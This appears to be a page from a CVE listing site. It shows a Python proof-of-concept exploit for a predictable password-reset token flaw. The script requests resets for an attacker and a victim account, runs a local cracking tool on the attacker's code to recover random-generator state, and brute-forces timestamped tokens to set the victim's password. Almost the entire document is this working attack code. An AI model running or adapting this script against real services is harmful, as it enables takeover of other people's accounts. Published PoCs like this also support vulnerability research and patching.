4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import requests
import time
import urllib3
import subprocess


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

base_url = "https://localhost:8443"
forgot_url = f"{base_url}/api/v1/forgotpassword"

# Step 1: Send request for [email protected]
print("Step 1: Sending forgot password for attacker")
requests.post(forgot_url, json={"userId": "<user_email>"}, verify=False)

# Step 2: Send request for [email protected] and record times
print("Step 2: Sending forgot password for victim")
request_time = int(time.time() * 1000)
requests.post(forgot_url, json={"userId": "<user_email>"}, verify=False)
response_time = int(time.time() * 1000)
print(f"Request time: {request_time}")
print(f"Response time: {response_time}")

# Step 3: Wait for user input
code = input("\nEnter code: ").strip()

# Step 4: Run crack
print(f"\nStep 4: Running ./randomstringutils/crack -n 1 {code}")
subprocess.run(["./randomstringutils/crack", "-n", "1", code])

# Step 5: Read first line from out.txt
first_line = ""
print("Step 5: Reading out.txt")
with open("out.txt", "r") as f:
    first_line = f.readline().strip()
    print(f"First line: {first_line}")

# Step 6: Try tokens in loop
print(f"\nStep 6: Trying tokens from {request_time} to {response_time}")
change_password_url = f"{base_url}/api/v1/changePassword"

for timestamp in range(request_time, response_time + 1):
    time.sleep(1)
    token = f"{first_line}:{timestamp}"
    payload = {
        "password": "Aa12345678!",
        "token": token
    }

    
    try:
        response = requests.post(change_password_url, json=payload, verify=False, timeout=5)
        response_text = response.text
        # print(f"{payload=}")
        # print(f"Response: \n {response_text}")
        
        if "Invalid token" not in response_text:
            print(f"\nSuccess! Valid token found: {token}")
            print(f"Response: {response_text}")
            break
    except Exception as e:
        continue
else:
    print("\nNo valid token found in the time range")